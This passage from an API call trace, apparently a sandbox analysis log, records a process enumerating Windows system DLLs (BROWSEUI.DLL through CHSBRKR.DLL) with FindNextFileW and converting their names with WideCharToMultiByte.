lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.757] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.758] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x90c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0041.758] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x90c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0041.758] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.758] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.758] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x90c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0041.758] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.759] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.759] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.759] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.759] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0041.759] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.759] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.759] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x90c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0041.760] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.760] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x90c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0041.760] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x90c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0041.760] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.760] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x90c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0041.760] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.760] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.760] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0041.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.761] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) 